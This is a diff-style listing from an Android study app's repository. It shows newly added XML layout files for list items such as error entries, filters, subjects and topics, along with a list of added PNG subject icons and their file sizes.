259 android:layout_height="wrap_content" 260 android:layout_height="wrap_content"
260 android:layout_below="@+id/iv_empty" 261 android:layout_below="@+id/iv_empty"
261 android:layout_centerHorizontal="true" 262 android:layout_centerHorizontal="true"
262 android:layout_gravity="center_horizontal" 263 android:layout_gravity="center_horizontal"
263 android:layout_marginTop="18dp" 264 android:layout_marginTop="18dp"
264 android:text="暂无学习计划" 265 android:text="暂无学习计划"
265 android:textColor="#666666" 266 android:textColor="#666666"
266 android:textSize="12dp" /> 267 android:textSize="12dp" />
267 268
268 <androidx.recyclerview.widget.RecyclerView 269 <androidx.recyclerview.widget.RecyclerView
269 android:id="@+id/recycle" 270 android:id="@+id/recycle"
270 android:layout_width="match_parent" 271 android:layout_width="match_parent"
271 android:layout_height="match_parent" 272 android:layout_height="match_parent"
272 android:layout_below="@+id/rl_schedule" /> 273 android:layout_below="@+id/rl_schedule" />
273 </RelativeLayout> 274 </RelativeLayout>
274 275
275 276
276 </androidx.constraintlayout.widget.ConstraintLayout> 277 </androidx.constraintlayout.widget.ConstraintLayout>
app/src/main/res/layout/item_error.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 xmlns:tools="http://schemas.android.com/tools"
3 android:layout_width="match_parent"
4 android:layout_height="wrap_content"
5 android:orientation="vertical">
6
7 <TextView
8 android:id="@+id/tv_time"
9 android:layout_width="wrap_content"
10 android:layout_height="wrap_content"
11 android:layout_marginLeft="15dp"
12 android:layout_marginBottom="15dp"
13 android:textColor="#999999"
14 android:textSize="14sp" />
15
16 <LinearLayout
17 android:layout_width="match_parent"
18 android:layout_height="wrap_content"
19 android:layout_marginLeft="15dp"
20 android:layout_marginRight="15dp"
21 android:layout_marginBottom="15dp"
22 android:background="@drawable/bg_item_video_10"
23 android:orientation="vertical"
24 android:paddingBottom="15dp">
25
26 <RelativeLayout
27 android:layout_width="wrap_content"
28 android:layout_height="wrap_content"
29 android:layout_marginLeft="15dp"
30 android:layout_marginTop="15dp"
31 android:layout_marginRight="15dp">
32
33 <ImageView
34 android:id="@+id/iv_check"
35 android:layout_width="20dp"
36 android:layout_height="20dp"
37 android:layout_centerVertical="true"
38 android:layout_marginRight="5dp"
39 android:src="@mipmap/ic_unselect" />
40
41 <TextView
42 android:id="@+id/tv_reason"
43 android:layout_width="wrap_content"
44 android:layout_height="wrap_content"
45 android:layout_centerVertical="true"
46 android:layout_toRightOf="@+id/iv_check"
47 android:textColor="#333333"
48 android:textSize="14sp" />
49
50 <TextView
51 android:id="@+id/tv_type"
52 android:layout_width="50dp"
53 android:layout_height="20dp"
54 android:layout_alignParentRight="true"
55 android:layout_centerVertical="true"
56 android:layout_marginRight="15dp"
57 android:background="@drawable/bg_undo_text"
58 android:gravity="center"
59 android:text="@string/text_undo"
60 android:textColor="@color/white"
61 android:textSize="12sp" />
62 </RelativeLayout>
63
64 <WebView
65 android:id="@+id/webview"
66 android:layout_width="match_parent"
67 android:layout_height="wrap_content"
68 android:layout_marginLeft="15dp"
69 android:layout_marginTop="10dp"
70 android:layout_marginRight="15dp"
71 android:scrollbars="none"
72 tools:ignore="WebViewLayout" />
73
74 <ImageView
75 android:id="@+id/iv_topic"
76 android:layout_width="match_parent"
77 android:layout_height="wrap_content"
78 android:layout_marginLeft="15dp"
79 android:layout_marginTop="15dp"
80 android:layout_marginRight="15dp"
81 android:layout_marginBottom="15dp" />
82
83 <TextView
84 android:id="@+id/tv_point"
85 android:layout_width="match_parent"
86 android:layout_height="25dp"
87 android:layout_marginLeft="15dp"
88 android:layout_marginRight="15dp"
89 android:background="@drawable/bg_soild_blue_5"
90 android:ellipsize="end"
91 android:gravity="center_vertical"
92 android:paddingLeft="15dp"
93 android:paddingRight="15dp"
94 android:singleLine="true"
95 android:textColor="@color/white"
96 android:textSize="12sp" />
97 </LinearLayout>
98 </LinearLayout>
app/src/main/res/layout/item_filter_text.xml
File was created 1 <TextView xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/tv_filter"
3 android:layout_width="match_parent"
4 android:layout_height="30dp"
5 android:layout_marginRight="15dp"
6 android:layout_marginBottom="15dp"
7 android:background="@drawable/bg_solid_btn_grad"
8 android:gravity="center"
9 android:singleLine="true"
10 android:textColor="@color/text_title"
11 android:textSize="14sp" />
app/src/main/res/layout/item_for_custom_spinner.xml
File was created 1 <TextView xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/tv_spinner"
3 android:layout_width="match_parent"
4 android:layout_height="30dp"
5 android:ellipsize="marquee"
6 android:gravity="center_vertical"
7 android:paddingLeft="15dp"
8 android:singleLine="true"
9 android:textColor="@color/text_title"
10 android:textSize="14sp" />
11
12
app/src/main/res/layout/item_image.xml
File was created 1 <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="match_parent"
3 android:layout_height="match_parent">
4
5 <RelativeLayout
6 android:layout_width="match_parent"
7 android:layout_height="match_parent"
8 android:layout_margin="15dp"
9 android:background="@drawable/bg_solid_white_10">
10
11 <ImageView
12 android:id="@+id/iv_pic"
13 android:layout_width="wrap_content"
14 android:layout_height="wrap_content"
15 android:layout_centerInParent="true" />
16
17 <RelativeLayout
18 android:id="@+id/rl_pic"
19 android:layout_width="wrap_content"
20 android:layout_height="wrap_content"
21 android:layout_centerInParent="true" />
22 </RelativeLayout>
23 </LinearLayout>
app/src/main/res/layout/item_subject.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/rl_subject"
3 android:layout_width="wrap_content"
4 android:layout_height="wrap_content">
5
6 <ImageView
7 android:id="@+id/iv_subject"
8 android:layout_width="45dp"
9 android:layout_height="45dp"
10 android:layout_centerHorizontal="true"
11 android:scaleType="fitXY" />
12
13 <TextView
14 android:id="@+id/tv_subject"
15 android:layout_width="wrap_content"
16 android:layout_height="wrap_content"
17 android:layout_below="@+id/iv_subject"
18 android:layout_centerHorizontal="true"
19 android:layout_marginTop="10dp"
20 android:textColor="#333333"
21 android:textSize="14sp" />
22 </RelativeLayout>
app/src/main/res/layout/item_topic.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:layout_width="75dp"
3 android:layout_height="30dp"
4 android:layout_marginRight="10dp">
5
6 <TextView
7 android:id="@+id/tv_name"
8 android:layout_width="70dp"
9 android:layout_height="25dp"
10 android:gravity="center"
11 android:textSize="14sp" />
12
13 <ImageView
14 android:id="@+id/iv_click"
15 android:layout_width="20dp"
16 android:layout_height="20dp"
17 android:layout_alignParentRight="true"
18 android:layout_alignParentBottom="true"
19 android:src="@mipmap/ic_click" />
20
21 </RelativeLayout>
app/src/main/res/layout/layout_select.xml
File was created 1 <RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
2 android:id="@+id/rl_add"
3 android:layout_width="wrap_content"
4 android:layout_height="wrap_content"
5 android:background="@drawable/bg_cut_unselect">
6
7 <ImageView
8 android:id="@+id/iv_state"
9 android:layout_width="12dp"
10 android:layout_height="12dp"
11 android:layout_centerInParent="true"
12 android:src="@mipmap/ic_add" />
13
14 <ImageView
15 android:id="@+id/iv_edit"
16 android:layout_width="20dp"
17 android:layout_height="20dp"
18 android:layout_alignParentRight="true"
19 android:background="#80000000"
20 android:padding="5dp"
21 android:src="@mipmap/ic_edit" />
22 </RelativeLayout>
app/src/main/res/mipmap-xhdpi/ic_add.png

598 Bytes

app/src/main/res/mipmap-xhdpi/ic_add_success.png

4.38 KB

app/src/main/res/mipmap-xhdpi/ic_arrow_right.png

586 Bytes

app/src/main/res/mipmap-xhdpi/ic_chemistry.png

6.96 KB

app/src/main/res/mipmap-xhdpi/ic_chinese.png

7.01 KB

app/src/main/res/mipmap-xhdpi/ic_click.png

1.78 KB

app/src/main/res/mipmap-xhdpi/ic_close.png

900 Bytes

app/src/main/res/mipmap-xhdpi/ic_delete.png

1.53 KB

app/src/main/res/mipmap-xhdpi/ic_edit.png

351 Bytes

app/src/main/res/mipmap-xhdpi/ic_empty.png

54.9 KB

app/src/main/res/mipmap-xhdpi/ic_english.png

8 KB

app/src/main/res/mipmap-xhdpi/ic_error_edit.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_math.png

7.35 KB

app/src/main/res/mipmap-xhdpi/ic_next.png

665 Bytes

app/src/main/res/mipmap-xhdpi/ic_next_gray.png

661 Bytes

app/src/main/res/mipmap-xhdpi/ic_photo_again.png

1.23 KB

app/src/main/res/mipmap-xhdpi/ic_physics.png

7.06 KB

app/src/main/res/mipmap-xhdpi/ic_pic_edit.png

685 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous.png

564 Bytes

app/src/main/res/mipmap-xhdpi/ic_previous_gray.png

1.03 KB

app/src/main/res/mipmap-xhdpi/ic_rotate.png

1.01 KB

app/src/main/res/mipmap-xhdpi/ic_select.png

1.33 KB